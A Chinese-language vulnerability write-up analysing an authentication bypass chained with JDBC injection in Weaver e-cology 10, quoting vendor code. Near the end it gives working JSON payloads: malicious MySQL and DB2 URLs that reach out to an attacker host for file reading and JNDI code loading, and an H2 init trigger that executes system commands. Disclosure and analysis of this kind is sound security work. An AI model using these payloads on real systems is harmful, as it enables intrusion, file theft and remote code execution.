作者:Le1a@微步漏洞团队
漏洞分析
这个漏洞是一个前台身份验证绕过加上后台JDBC注入的组合漏洞。首先来分析一下这个身份验证绕过漏洞。
serviceTicketId
漏洞代码位于com.weaver.passport.controller.RestLoginController#appThirdLogin()
public Map<String, String> appThirdLogin(HttpServletRequest request, HttpServletResponse response, final String username, String service, final String ip) {
String loginType = request.getParameter("loginType");
String tgtId = SecurityCasUtils.getCookie(request, "ETEAMS_TGC");
return this.restLoginService.appThirdLogin(loginType, tgtId, response, username, service, ip, "zh_CN");
}
跟进到restLoginService.appThirdLogin()
该方法会根据传入的 loginType
参数获取对应的 CasLoginEnum
。如果当前没有可用的票据(ticket),则会使用传入的 username
创建一个新的 TicketGrantingTicket
。
WeaverUsernamePasswordCredential credential = new WeaverUsernamePasswordCredential(username, password: "authPasswordFlag");
credential.setNoPassword(true);
tgtId = this.casLoginTicketService.createTicketGrantingTicket(credential, casLoginEnum);
在 authenticateInternal
方法中,会根据相应的条件获取用户的相关信息。
userInfo = handler.getUserByEmpId(credential);
最后在appThirdLogin中生成serviceTicketId
result.put("serviceTicketId", this.casLoginTicketService.grantServiceTicket(tgtId, this.casLoginTicketService.getService((String) null), casLoginEnum));
EteamsId
在获取到 serviceTicketId
之后,可以通过调用 PassportLoginController#generateEteamsId()
方法来获取 EteamsId
。
在泛微 e-cology 10 中,
EteamsId
是一种用于会话管理的机制,类似于其他 Web 应用程序中的 Session ID 或 Cookie。
public WeaResult<String> generateEteamsId(@RequestParam String stTicket, @RequestParam(required = false) String service, HttpServletRequest request) {
logger.info("############# generateEteamsId [stTicket]{}", stTicket, service);
String eteamsId = this.passportEteamsIdService.generateEteamsIdBySt(stTicket, service, (String)null, request);
logger.info("############# generateEteamsId [stTicket]{} [eteamsId]{}", stTicket, eteamsId);
return WeaResult.success(eteamsId);
}
public static String generateTokenId(String credential, String loginType) {
if (StringUtils.isEmpty(loginType)) {
return MD5Utils.MD5(credential).toLowerCase();
} else {
return !loginType.toUpperCase().startsWith("APP") && !loginType.toUpperCase().startsWith("H5") ? loginType.replace("_", "").toUpperCase() + "_" + MD5Utils.MD5(credential).toLowerCase() : loginType.replace("_", "").toUpperCase() + "_" + MD5Utils.MD5(credential).toLowerCase() + "_appType";
}
}
这里返回了 EteamsId
,它是通过将 loginType
和 serviceTicketId
的 MD5 值拼接而成的。在补丁中,已经无法通过该接口获取 EteamsId
了。
不过,该代码给出了构造 EteamsId
的方式,最初我们以为可以手动伪造。但经过测试发现,这并不可行。原因是 this.securityContextCache.put(tokenId, context)
将 EteamsId
存储到了上下文环境中,而手动构造的 EteamsId
没有经历这一步,因此无法通过校验。
JDBC Attack
漏洞点在DataConnController#testConnByBasePassword()
public WareResult testConnByBasePassword(@RequestBody DataSetConn conn, Employee employee) {
conn.setDbPassword(SqlValidateUtil.base64ToString(conn.getDbPassword()));
return this.testConn(conn, employee);
}
跟进到testConn()
public WareResult testConn(@RequestBody DataSetConn conn, Employee employee) {
try {
return this.dataConnService.testConn(conn, employee);
} catch (SQLException var4) {
return new WareResult((Object)null, 500);
}
}
继续跟进
public WareResult testConn(DataSetConn dataSetConn, Employee employee) throws SQLException {
Connection conn = this.getConnection(dataSetConn, employee);
if (conn != null) {
conn.close();
}
return conn != null ? new WareResult((Object)null, 200) : new WareResult((Object)null, 500);
}
该方法会根据 DbType
参数来判断使用哪种数据库驱动。如果相应的驱动尚未加载,它还会通过反射的方式动态获取并实例化该驱动。随后,它会采用 JDK 自带的 DriverManager.getConnection()
方法建立数据库连接。这种方式不需要显式声明数据库驱动,而是由 JDBC URL 来决定使用哪种驱动,但前提是该驱动类已经被成功加载。
public String getDbDriverByType(String dbType) {
switch (dbType.toLowerCase()) {
case "mysql5":
return "com.mysql.jdbc.Driver";
case "mysql":
case "mysql8":
return "com.mysql.cj.jdbc.Driver";
case "oracle":
return "oracle.jdbc.driver.OracleDriver";
case "tidb":
return "com.mysql.cj.jdbc.Driver";
case "sqlserver2000":
return "net.sourceforge.jtds.jdbc.Driver";
case "sqlserver":
case "sqlserver2005":
case "sqlserver2008":
case "sqlserver2014":
return "com.microsoft.sqlserver.jdbc.SQLServerDriver";
case "kingbase":
return "com.kingbase8.Driver";
case "dameng":
return "dm.jdbc.driver.DmDriver";
case "shentong":
return "com.oscar.Driver";
case "postgresql":
return "org.postgresql.Driver";
case "db2":
return "com.ibm.db2.jcc.DB2Driver";
case "sybase":
return "com.sybase.jdbc2.jdbc.SybDriver";
case "informix":
return "com.informix.jdbc.IfxDriver";
case "sap hana":
return "com.sap.db.jdbc.Driver";
case "gbase":
return "com.gbase.jdbc.Driver";
case "gaussdb":
return "com.huawei.gauss.jdbc.ZenithDriver";
case "opengauss":
return "com.huawei.gauss200.jdbc.Driver";
case "highgo db":
return "com.highgo.jdbc.Driver";
default:
return "";
}
这里可以利用的点有很多,可以打mysql、db2等,但这两种都需要出网才能利用。
mysql
这里存在 MySQL5.x版本,可以利用它来读取文件。同时,如果存在合适的反序列化漏洞链,也能RCE
{"dbType": "mysql5", "dbUrl": "jdbc:mysql://172.23.80.133:3306/test?allowLoadLocalInfile=true&allowUrlInLocalInfile=true&allowLoadLocalInfileInPath=/&maxAllowedPacket=65536&user=fileread_C:/windows/win.ini"}
db2
由于新版本 ec10 中使用的 JDK 版本为 8u201,因此需要借助 javax.el.ELProcessor#eval
方法来绕过一些限制。
{"dbType": "db2", "dbUrl": "jdbc:db2://172.23.80.133:50001/BLUDB:clientRerouteServerListJNDIName=rmi://172.23.80.133:1099/localExploitel;"}
H2
更加优雅的利用方式就是通过加载 H2 数据库驱动来实现无需出网的利用。虽然在当前的环境中无法直接加载 H2 驱动,但我们可以寻找其他的方法加载h2驱动:IaAuthclientController#save()
public IaAuthclientCustomDTO getIaAuthclientCustomDTO() {
return this.iaAuthclientCustomDTO;
}
构造如下格式的数据包即可加载h2数据库驱动
{"isUse": 1, "auth_type": "custom", "iaAuthclientCustomDTO": {"ruleClass": "org.h2.Driver"}}
此时我们就可以利用h2数据库执行任意Java代码了,这里dbType任意即可。
{"dbType": "mysql", "dbUrl": "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER hhhh BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec(\"whoami\")$$"}